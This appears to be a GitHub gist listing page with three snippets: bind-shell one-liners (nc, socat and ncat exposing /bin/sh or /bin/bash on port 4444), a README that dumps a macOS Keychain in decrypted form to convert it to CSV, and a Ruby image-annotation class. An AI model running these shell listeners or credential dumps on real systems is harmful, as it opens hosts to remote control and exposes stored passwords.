Skip to content

Instantly share code, notes, and snippets.

@pbartunek
pbartunek / shells.md
Last active February 10, 2017 19:00
Shells

bind:

nc

nc - nlvp 4444 -e /bin/sh

socat

socat tcp-listen:4444,reuseaddr,fork exec:/bin/bash

ncat

ncat --exec /bin/sh --allow 127.0.0.1 -vnl 4444 --ssl

@pbartunek
pbartunek / README
Last active December 17, 2015 02:19
Quick and dirty script for converting decrypted Keychain file to CSV (which can be imported into other password manager).
Usage
dump decrypted keychain:
security dump-keychain -d keychain_name.keychain > decrypted_keychain
convert:
@pbartunek
pbartunek / annotation.rb
Last active December 10, 2015 13:18
Annotate images with paperclip.
module Paperclip
class Annotation < Thumbnail
attr_accessor :annotation_text
def initialize(file, options = {}, attachment = nil)
super
@geometry = options[:geometry]
@annotation_text = options[:annotation_text]